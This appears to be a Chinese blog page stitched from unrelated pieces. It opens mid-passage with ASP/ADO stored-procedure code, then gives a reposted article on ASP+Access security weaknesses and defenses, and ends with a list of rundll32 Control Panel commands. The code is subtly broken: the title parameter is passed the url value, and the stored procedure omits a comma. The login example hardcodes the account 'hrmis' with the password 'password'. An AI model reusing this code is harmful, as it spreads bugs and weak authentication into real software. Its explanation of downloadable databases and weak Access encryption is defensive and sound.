set objCmd     = Server.CreateObject("ADODB.Command")
conn.Open Application("ConnectionString")

With objCmd
  .ActiveConnection = conn 'You can also just specify a connection string here
  .CommandText = "sp_InsertArticle"
  .CommandType = adCmdStoredProc 'Requires the adovbs.inc file or typelib meta tag
 
  'Add Input Parameters
  .Parameters.Append .CreateParameter("@columnist_id", adDouble, adParamInput, , columnist_id)
  .Parameters.Append .CreateParameter("@url", adVarChar, adParamInput, 255, url)
  .Parameters.Append .CreateParameter("@title", adVarChar, adParamInput, 99, url)
  .Parameters.Append .CreateParameter("@description", adLongVarChar, _
    adParamInput, 2147483647, description)
 
  'Add Output Parameters
  .Parameters.Append .CreateParameter("@link_id", adInteger, adParamOutput, , 0)
   
  'Execute the function
  'If not returning a recordset, use the adExecuteNoRecords parameter option
  .Execute, , adExecuteNoRecords
  link_id = .Parameters("@link_id")
End With

5、存储过程的代码
Create PROCEDURE dbo.sp_InsertArticle
(
  @columnist_id int,
  @url varchar(255),
  @title varchar(99),
  @description text
    @link_id int OUTPUT
)
AS
BEGIN
  INSERT INTO dbo.t_link   (columnist_id,url,title,description)
  valueS (@columnist_id,@url,@title,@description)

  SELECT @link_id = @@IDENTITY
END

ASP+Access的安全隐患及对策

[转自小叶老师的网站]
随着Internet的发展,Web技术日新月异。继通用网关接口(CGI)之后,“ASP”(Active Server Pages)作为一种典型的服务器端网页设计技术,被广泛地应用在网上银行、电子商务、搜索引擎等各种互联网应用中。同时Access数据库作为微软推出的以标准JET为引擎的桌面型数据库系统,由于具有操作简单、界面友好等特点,具有较大的用户群体。因此ASP+Access成为许多中小型网上应用系统的首选方案。但ASP+Access解决方案在为我们带来便捷的同时,也带来了不容忽视的安全问题。
ASP+Access的安全隐患
ASP+Access解决方案的主要安全隐患来自Access数据库的安全性,其次在于ASP网页设计过程中的安全漏洞。
1.Access数据库的存储隐患
在ASP+Access应用系统中,如果获得或者猜到Access数据库的存储路径和数据库名,则该数据库就可以被下载到本地。例如:对于网上书店的Access数据库,人们一般命名为book.mdb、store.mdb等,而存储的路径一般为“URL/database”或干脆放在根目录(“URL/”)下。这样,只要在浏览器地址栏中敲入地址:“URL/database/store.mdb”,就可以轻易地把store.mdb下载到本地的机器中。
2.Access数据库的解密隐患
由于Access数据库的加密机制非常简单,所以即使数据库设置了密码,解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行异或来形成一个加密串,并将其存储在*.mdb文件中从地址“&H42”开始的区域内。由于异或操作的特点是“经过两次异或就恢复原值”,因此,用这一密钥与*.mdb文件中的加密串进行第二次异或操作,就可以轻松地得到Access数据库的密码。基于这种原理,可以很容易地编制出解密程序。
由此可见,无论是否设置了数据库密码,只要数据库被下载,其信息就没有任何安全性可言了。
3.源代码的安全隐患
由于ASP程序采用的是非编译性语言,这大大降低了程序源代码的安全性。任何人只要进入站点,就可以获得源代码,从而造成ASP应用程序源代码的泄露。
4.程序设计中的安全隐患  
ASP代码利用表单(form)实现与用户交互的功能,而相应的内容会反映在浏览器的地址栏中,如果不采用适当的安全措施,只要记下这些内容,就可以绕过验证直接进入某一页面。例如在浏览器中敲入“……page.asp?x=1”,即可不经过表单页面直接进入满足“x=1”条件的页面。因此,在设计验证或注册页面时,必须采取特殊措施来避免此类问题的发生。
提高数据库的安全性
由于Access数据库加密机制过于简单,因此,如何有效地防止Access数据库被下载,就成了提高ASP+Access解决方案安全性的重中之重。
1.非常规命名法
防止数据库被找到的简便方法是为Access数据库文件起一个复杂的非常规名字,并把它存放在多层目录下。例如,对于网上书店的数据库文件,不要简单地命名为“book.mdb”或“store.mdb”,而是要起个非常规的名字,例如:faq19jhsvzbal.mdb,再把它放在如./akkjj16t/kjhgb661/acd/avccx55 之类的深层目录下。这样,对于一些通过猜的方式得到Access数据库文件名的非法访问方法起到了有效的阻止作用。
2.使用ODBC数据源
在ASP程序设计中,应尽量使用ODBC数据源,不要把数据库名直接写在程序中,否则,数据库名将随ASP源代码的失密而一同失密。例如:
DBPath = Server.MapPath(“./akkjj16t/
kjhgb661/acd/avccx55/faq19jhsvzbal.mdb ”)
conn.Open “driver={Microsoft Access Driver (*.mdb)};dbq=” & DBPath
可见,即使数据库名字起得再怪异,隐藏的目录再深,ASP源代码失密后,数据库也很容易被下载下来。如果使用ODBC数据源,就不会存在这样的问题了:
conn.open “ODBC-DSN名”
对ASP页面进行加密
为有效地防止ASP源代码泄露,可以对ASP页面进行加密。一般有两种方法对ASP页面进行加密。一种是使用组件技术将编程逻辑封装入DLL之中;另一种是使用微软的Script Encoder对ASP页面进行加密。笔者认为,使用组件技术存在的主要问题是每段代码均需组件化,操作比较烦琐,工作量较大;而使用Script Encoder对ASP页面进行加密,操作简单、收效良好。Script Encoder方法具有许多优点:
1.HTML仍具有很好的可编辑性。Script Encoder只加密在HTML页面中嵌入的ASP代码,其他部分仍保持不变,这就使得我们仍然可以使用FrontPage或Dreamweaver等常用网页编辑工具对HTML部分进行修改、完善,只是不能对ASP加密部分进行修改,否则将导致文件失效。
2.操作简单。只要掌握几个命令行参数即可。Script Encoder的运行程序是screnc.exe,其使用方法如下:
screnc [/s] [/f] [/xl] [/l defLanguage ] [/e defExtension] inputfile outputfile
其中的参数含义如下:
s:屏蔽屏幕输出;
f:指定输出文件是否覆盖同名输入文件;
xl:是否在.asp文件的顶部添加@Language指令;
l:defLanguag指定缺省的脚本语言;
e:defExtension 指定待加密文件的扩展名。
3.可以批量加密文件。使用Script Encoder可以对当前目录中的所有的ASP 文件进行加密,并把加密后的文件统一输出到相应的目录中。例如:
screnc *.asp c:/temp
4. Script Encoder是免费软件。该加密软件可以从微软网站下载:http://msdn.microsoft.com/scripting/vbscript/download/x86/sce10en.exe。下载后,运行安装即可。
利用Session对象进行注册验证
为防止未经注册的用户绕过注册界面直接进入应用系统,可以采用Session对象进行注册验证。Session对象最大的优点是可以把某用户的信息保留下来,让后续的网页读取。例如,要设计如图1所示的注册页面。
 
图1 注册页面
设计要求用户注册成功后系统启动hrmis.asp?page=1页面。如果不采用Session对象进行注册验证,则用户在浏览器中敲入“URL/hrmis.asp?page=1”即可绕过注册界面,直接进入系统。利用Session对象可以有效阻止这一情况的发生。相关的程序代码如下:
<%
' 读取用户输入的账号和密码
UserID = Request(“UserID”)
Password = Request(“Password”)
' 检查UserID 及Password 是否正确(实际程序可能会比较复杂)
If UserID <>“hrmis” Or Password <>
“password” Then
Response.Write “账号错误!”
Response.End
End If
'将Session 对象设置为通过验证状态
Session(“Passed”) = True
%>
进入应用程序后,首先进行验证:
<%
'如果未通过验证,返回Login状态
If Not Session(“Passed”) Then
Response.Redirect “Login.asp”
End If
%>

各种命令

注:控制面板
模块: control.exe
命令: rundll32.exe shell32.dll,Control_RunDLL
结果: 显示控制面板窗口。
例子:
Dim x
x = Shell("rundll32.exe shell32.dll,Control_RunDLL")

辅助选项
模块: access.cpl
命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
结果: 显示辅助选项/常规。

命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
结果: 显示辅助选项/键盘。

命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
结果: 显示辅助选项/声音。

命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
结果: 显示辅助选项/显示。

命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
结果: 显示辅助选项/鼠标。

添加新硬件
模块: sysdm.cpl
命令:rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1

增加新的打印机
模块:shell32.dll
命令:rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter

添加/删除程序
模块:appwiz.cpl
命令:rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
结果:显示安装/卸载。

命令:rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
结果:显示安装/卸载。

命令:rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
结果:显示Windows 安装。

命令:rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
结果:显示启动盘。

复制磁盘
模块:diskcopy.dll
命令:rundll32.exe diskcopy.dll,DiskCopyRunDll

时间/日期
模块: timedate.cpl
命令: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
结果: 显示设置日期/时间。

命令: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
结果: 显示设置时间区域。

拨号连接(DUN)
模块: rnaui.dll
命令: rundll32.exe rnaui.dll,RnaDial 连接_名称
结果: 打开指定的拨号连接。
例子:
x= Shell("rundll32.exe rnaui.dll,RnaDial " & "连接_名称", 1)

显示器
模块: desk.cpl
命令: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
结果: 背景设置。

命令: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
结果: 屏幕保护设置。

命令: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
结果: 外观设置。

命令: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
结果: 设置窗口。

操纵杆
模块: joy.cpl
命令: rundll32.exe shell32.dll,Control_RunDLL joy.cpl

邮件/传真
模块: mlcfg32.cpl
命令: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
结果: 出现 MS Exchange 属性设置。

邮局设置
模块: wgpocpl.cpl
命令: rundll32.exe shell32.dll,Control_RunDLL wgpocpl.cpl
结果: 显示 MS Postoffice Workgroup Admin 设置。

主设置
模块: main.cpl
命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
结果: 显示鼠标属性。

命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
结果: 显示键盘/速度属性。

命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
结果: 显示键盘/语言属性。

命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,2
结果: 显示键盘/常规属性。

命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
结果: 显示打印机属性。

命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
结果: 显示字体属性。

命令: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
结果: 显示电源管理属性。

增加 Modem
模块:modem.cpl
命令:rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add

多媒体
模块: mms

抱歉!评论已关闭.